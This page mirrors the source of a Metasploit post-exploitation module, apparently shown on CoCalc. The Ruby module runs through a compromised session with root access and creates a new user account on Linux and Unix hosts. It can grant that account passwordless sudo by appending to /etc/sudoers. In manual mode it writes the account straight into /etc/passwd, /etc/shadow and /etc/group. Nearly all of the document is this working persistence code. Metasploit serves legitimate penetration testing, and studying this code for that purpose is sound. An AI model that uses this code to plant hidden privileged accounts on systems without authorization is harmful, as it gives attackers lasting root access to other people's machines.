CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/linux/manage/adduser.rb
Views: 11704
1
# This module requires Metasploit: https://metasploit.com/download
2
# Current source: https://github.com/rapid7/metasploit-framework
3
4
require 'unix_crypt'
5
6
class MetasploitModule < Msf::Post
7
include Msf::Post::File
8
include Msf::Post::Unix
9
include Msf::Post::Linux::System
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'Add a new user to the system',
16
'Description' => %q{
17
This command adds a new user to the system
18
},
19
'License' => MSF_LICENSE,
20
'Author' => ['Nick Cottrell <ncottrellweb[at]gmail.com>'],
21
'Platform' => ['linux', 'unix', 'bsd', 'aix', 'solaris'],
22
'Privileged' => false,
23
'SessionTypes' => %w[meterpreter shell],
24
'Notes' => {
25
'Stability' => [CRASH_SAFE],
26
'Reliability' => [],
27
'SideEffects' => [CONFIG_CHANGES]
28
}
29
)
30
)
31
register_options([
32
OptString.new('USERNAME', [ true, 'The username to create', 'metasploit' ]),
33
OptString.new('PASSWORD', [ true, 'The password for this user', 'Metasploit$1' ]),
34
OptString.new('SHELL', [true, 'Set the shell that the new user will use', '/bin/sh']),
35
OptString.new('HOME', [true, 'Set the home directory of the new user. Leave empty if user will have no home directory', '']),
36
OptString.new('GROUPS', [false, 'Set what groups the new user will be part of separated with a space'])
37
])
38
39
register_advanced_options([
40
OptEnum.new('UseraddMethod', [true, 'Set how the module adds in new users and groups. AUTO will autodetect how to add new users, MANUAL will add users without any binaries, and CUSTOM will attempt to use a custom designated binary', 'AUTO', ['AUTO', 'MANUAL', 'CUSTOM']]),
41
OptString.new('UseraddBinary', [false, 'Set binary used to set password if you dont want module to find it for you.'], conditions: %w[UseraddMethod == CUSTOM]),
42
OptEnum.new('SudoMethod', [true, 'Set the method that the new user can obtain root. SUDO_FILE adds the user directly to sudoers while GROUP adds the new user to the sudo group', 'GROUP', ['SUDO_FILE', 'GROUP', 'NONE']]),
43
OptEnum.new('MissingGroups', [true, 'Set how nonexisting groups are handled on the system. Either give an error in the module, ignore it and throw it out, or create the group on the system.', 'ERROR', ['ERROR', 'IGNORE', 'CREATE']]),
44
OptEnum.new('PasswordHashType', [true, 'Set the hash method your password will be encrypted in.', 'MD5', ['DES', 'MD5', 'SHA256', 'SHA512']])
45
])
46
end
47
48
# Checks if the given group exists within the system
49
def check_group_exists?(group_name, group_data)
50
return group_data =~ /^#{Regexp.escape(group_name)}:/
51
end
52
53
# Checks if the specified command can be executed by the session. It should be
54
# noted that not all commands correspond to a binary file on disk. For example,
55
# a bash shell session will provide the `eval` command when there is no `eval`
56
# binary on disk. Likewise, a Powershell session will provide the `Get-Item`
57
# command when there is no `Get-Item` executable on disk.
58
#
59
# @param [String] cmd the command to check
60
# @return [Boolean] true when the command exists
61
def check_command_exists?(cmd)
62
command_exists?(cmd)
63
rescue RuntimeError => e
64
fail_with(Failure::Unknown, "Unable to check if command `#{cmd}' exists: #{e}")
65
end
66
67
def d_cmd_exec(command)
68
vprint_status(command)
69
print_line(cmd_exec(command))
70
end
71
72
# Produces an altered copy of the group file with the user added to each group
73
def fs_add_groups(group_file, groups)
74
groups.each do |group|
75
# Add user to group if there are other users
76
group_file = group_file.gsub(/^(#{group}:[^:]*:[0-9]+:.+)$/, "\\1,#{datastore['USERNAME']}")
77
# Add user to group of no users belong to that group yet
78
group_file = group_file.gsub(/^(#{group}:[^:]*:[0-9]+:)$/, "\\1#{datastore['USERNAME']}")
79
end
80
if datastore['MissingGroups'] == 'CREATE'
81
new_groups = get_missing_groups(group_file, groups)
82
new_groups.each do |group|
83
gid = rand(1000..2000).to_s
84
group_file += "\n#{group}:x:#{gid}:#{datastore['USERNAME']}\n"
85
print_good("Added #{group} group")
86
end
87
end
88
group_file.gsub(/\n{2,}/, "\n")
89
end
90
91
# Provides a list of groups that arent already on the system
92
def get_missing_groups(group_file, groups)
93
groups.reject { |group| check_group_exists?(group, group_file) }
94
end
95
96
# Finds out what platform the module is running on. It will attempt to access
97
# the Hosts database before making more noise on the target to learn more
98
def os_platform
99
if session.type == 'meterpreter'
100
sysinfo['OS']
101
elsif active_db? && framework.db.workspace.hosts.where(address: session.session_host)&.first&.os_name
102
host = framework.db.workspace.hosts.where(address: session.session_host).first
103
if host.os_name == 'linux' && host.os_flavor
104
host.os_flavor
105
else
106
host.os_name
107
end
108
else
109
get_sysinfo[:distro]
110
end
111
end
112
113
# Validates the groups given to it. Depending on datastore settings, it will
114
# give a trimmed down list of the groups given to it, and ensure that all
115
# groups returned exist on the system.
116
def validate_groups(group_file, groups)
117
groups = groups.uniq
118
119
# Check that group names are valid
120
invalid = groups.filter { |group| group !~ /^[a-zA-Z0-9_.][a-zA-Z0-9_.-]{0,30}[a-zA-Z0-9_.$-]?$/ }
121
if invalid.any? && datastore['MissingGroups'] == 'IGNORE'
122
groups -= invalid
123
vprint_error("The groups [#{invalid.join(' ')}] do not fit accepted characters for groups. Ignoring them instead.")
124
elsif invalid.any?
125
# Give error even on create, as creating this group will cause errors
126
fail_with(Failure::BadConfig, "groups [#{invalid.join(' ')}] Do not fit the authorized regex for groups. Check your groups against this regex /^[a-zA-Z0-9_.][a-zA-Z0-9_.-]{0,30}[a-zA-Z0-9_.$-]?$/")
127
end
128
129
# Check to see that groups exist or fail
130
groups_missing = get_missing_groups(group_file, groups)
131
unless groups_missing.empty?
132
if datastore['MissingGroups'] == 'ERROR'
133
fail_with(Failure::NotFound, "groups [#{groups_missing.join(' ')}] do not exist on the system. Change the `MissingGroups` Option to deal with errors automatically")
134
end
135
print_warning("Groups [#{groups_missing.join(' ')}] do not exist on system")
136
if datastore['MissingGroups'] == 'IGNORE'
137
groups -= groups_missing
138
print_good("Removed #{groups_missing.join(' ')} from target groups")
139
end
140
end
141
142
groups
143
end
144
145
# Takes all the groups given and attempts to add them to the system
146
def create_new_groups(groups)
147
# Since command can add on groups, checking over groups
148
groupadd = check_command_exists?('groupadd') ? 'groupadd' : nil
149
groupadd ||= 'addgroup' if check_command_exists?('addgroup')
150
fail_with(Failure::NotFound, 'Neither groupadd nor addgroup exist on the system. Try running with UseraddMethod as MANUAL to get around this issue') unless groupadd
151
152
groups.each do |group|
153
d_cmd_exec("#{groupadd} #{group}")
154
print_good("Added #{group} group")
155
end
156
end
157
158
def run
159
fail_with(Failure::NoAccess, 'Session isnt running as root') unless is_root?
160
case datastore['UseraddMethod']
161
when 'CUSTOM'
162
fail_with(Failure::NotFound, "Cannot find command on path given: #{datastore['UseraddBinary']}") unless check_command_exists?(datastore['UseraddBinary'])
163
when 'AUTO'
164
fail_with(Failure::NotVulnerable, 'Cannot find a means to add a new user') unless check_command_exists?('useradd') || check_command_exists?('adduser')
165
end
166
fail_with(Failure::NotVulnerable, 'Cannot add user to sudo as sudoers doesnt exist') unless datastore['SudoMethod'] != 'SUDO_FILE' || file_exist?('/etc/sudoers')
167
fail_with(Failure::NotFound, 'Shell specified does not exist on system') unless check_command_exists?(datastore['SHELL'])
168
fail_with(Failure::BadConfig, "Username [#{datastore['USERNAME']}] is not a legal unix username.") unless datastore['USERNAME'] =~ /^[a-z][a-z0-9_-]{0,31}$/
169
170
# Encrypting password ahead of time
171
passwd = case datastore['PasswordHashType']
172
when 'DES'
173
UnixCrypt::DES.build(datastore['PASSWORD'])
174
when 'MD5'
175
UnixCrypt::MD5.build(datastore['PASSWORD'])
176
when 'SHA256'
177
UnixCrypt::SHA256.build(datastore['PASSWORD'])
178
when 'SHA512'
179
UnixCrypt::SHA512.build(datastore['PASSWORD'])
180
end
181
182
# Adding sudo to groups if method is set to use groups
183
groups = datastore['GROUPS']&.split || []
184
groups += ['sudo'] if datastore['SudoMethod'] == 'GROUP'
185
group_file = read_file('/etc/group').to_s
186
groups = validate_groups(group_file, groups)
187
188
# Creating new groups if it was set and isnt manual
189
if groups.any? && datastore['MissingGroups'] == 'CREATE' && datastore['UseraddMethod'] != 'MANUAL'
190
create_new_groups(get_missing_groups(group_file, groups))
191
end
192
193
# Automatically ignore setting groups if added additional groups is empty
194
groups_handled = groups.empty?
195
196
# Check database to see what OS it is. If it meets specific requirements, This can all be done in a single line
197
binary = case datastore['UseraddMethod']
198
when 'AUTO'
199
if check_command_exists?('useradd')
200
'useradd'
201
elsif check_command_exists?('adduser')
202
'adduser'
203
else
204
'MANUAL'
205
end
206
when 'MANUAL'
207
'MANUAL'
208
when 'CUSTOM'
209
datastore['UseraddBinary']
210
end
211
case binary
212
when /useradd$/
213
print_status("Running on #{os_platform}")
214
print_status('Useradd exists. Using that')
215
case os_platform
216
when /debian|ubuntu|fedora|centos|oracle|redhat|arch|suse|gentoo/i
217
homedirc = datastore['HOME'].empty? ? '--no-create-home' : "--home-dir #{datastore['HOME']}"
218
219
# Since command can add on groups, checking over groups
220
groupsc = groups.empty? ? '' : "--groups #{groups.join(',')}"
221
222
# Finally run it
223
d_cmd_exec("#{binary} --password \'#{passwd}\' #{homedirc} #{groupsc} --shell #{datastore['SHELL']} --no-log-init #{datastore['USERNAME']}".gsub(/ {2,}/, ' '))
224
groups_handled = true
225
else
226
vprint_status('Unsure what platform we\'re on. Using useradd in most basic/common settings')
227
228
# Finally run it
229
d_cmd_exec("#{binary} #{datastore['USERNAME']} | echo")
230
d_cmd_exec("echo \'#{datastore['USERNAME']}:#{passwd}\'|chpasswd -e")
231
end
232
when /adduser$/
233
print_status("Running on #{os_platform}")
234
print_status('Adduser exists. Using that')
235
case os_platform
236
when /debian|ubuntu/i
237
print_warning('Adduser cannot add groups to the new user automatically. Going to have to do it at a later step')
238
homedirc = datastore['HOME'].empty? ? '--no-create-home' : "--home #{datastore['HOME']}"
239
240
d_cmd_exec("#{binary} --disabled-password #{homedirc} --shell #{datastore['SHELL']} #{datastore['USERNAME']} | echo")
241
d_cmd_exec("echo \'#{datastore['USERNAME']}:#{passwd}\'|chpasswd -e")
242
when /fedora|centos|oracle|redhat/i
243
homedirc = datastore['HOME'].empty? ? '--no-create-home' : "--home-dir #{datastore['HOME']}"
244
245
# Since command can add on groups, checking over groups
246
groupsc = groups.empty? ? '' : "--groups #{groups.join(',')}"
247
248
# Finally run it
249
d_cmd_exec("#{binary} --password \'#{passwd}\' #{homedirc} #{groupsc} --shell #{datastore['SHELL']} --no-log-init #{datastore['USERNAME']}".gsub(/ {2,}/, ' '))
250
groups_handled = true
251
when /alpine/i
252
print_warning('Adduser cannot add groups to the new user automatically. Going to have to do it at a later step')
253
homedirc = datastore['HOME'].empty? ? '-H' : "-h #{datastore['HOME']}"
254
255
d_cmd_exec("#{binary} -D #{homedirc} -s #{datastore['SHELL']} #{datastore['USERNAME']}")
256
d_cmd_exec("echo \'#{datastore['USERNAME']}:#{passwd}\'|chpasswd -e")
257
else
258
print_status('Unsure what platform we\'re on. Using useradd in most basic/common settings')
259
260
# Finally run it
261
d_cmd_exec("#{binary} #{datastore['USERNAME']}")
262
d_cmd_exec("echo \'#{datastore['USERNAME']}:#{passwd}\'|chpasswd -e")
263
end
264
when datastore['UseraddBinary']
265
print_status('Running with command supplied')
266
d_cmd_exec("#{binary} #{datastore['USERNAME']}")
267
d_cmd_exec("echo \'#{datastore['USERNAME']}:#{passwd}\'|chpasswd -e")
268
else
269
# Checking that user doesnt already exist
270
fail_with(Failure::BadConfig, 'User already exists') if read_file('/etc/passwd') =~ /^#{datastore['USERNAME']}:/
271
272
# Run adding user manually if set
273
home = datastore['HOME'].empty? ? "/home/#{datastore['USERNAME']}" : datastore['HOME']
274
uid = rand(1000..2000).to_s
275
append_file('/etc/passwd', "#{datastore['USERNAME']}:x:#{uid}:#{uid}::#{home}:#{datastore['SHELL']}\n")
276
vprint_status("\'#{datastore['USERNAME']}:x:#{uid}:#{uid}::#{home}:#{datastore['SHELL']}\' >> /etc/passwd")
277
append_file('/etc/shadow', "#{datastore['USERNAME']}:#{passwd}:#{Time.now.to_i / 86400}:0:99999:7:::\n")
278
vprint_status("\'#{datastore['USERNAME']}:#{passwd}:#{Time.now.to_i / 86400}:0:99999:7:::\' >> /etc/shadow")
279
280
altered_group_file = fs_add_groups(group_file, groups)
281
write_file('/etc/group', altered_group_file) unless group_file == altered_group_file
282
283
groups_handled = true
284
end
285
286
# Adding in groups and connecting if not done already
287
unless groups_handled
288
# Attempt to do add groups to user by normal means, or do it manually
289
if check_command_exists?('usermod')
290
d_cmd_exec("usermod -aG #{groups.join(',')} #{datastore['USERNAME']}")
291
elsif check_command_exists?('addgroup')
292
groups.each do |group|
293
d_cmd_exec("addgroup #{datastore['USERNAME']} #{group}")
294
end
295
else
296
print_error("Couldnt find \'usermod\' nor \'addgroup\' on the target. User [#{datastore['USERNAME']}] couldnt be linked to groups.")
297
end
298
end
299
300
# Adding user to sudo file if specified
301
if datastore['SudoMethod'] == 'SUDO_FILE' && file_exist?('/etc/sudoers')
302
append_file('/etc/sudoers', "#{datastore['USERNAME']} ALL=(ALL:ALL) NOPASSWD: ALL\n")
303
print_good("Added [#{datastore['USERNAME']}] to /etc/sudoers successfully")
304
end
305
rescue Msf::Exploit::Failed
306
print_warning("The module has failed to add the new user [#{datastore['USERNAME']}]!")
307
print_warning('Groups that were created need to be removed from the system manually.')
308
raise
309
end
310
end
311
312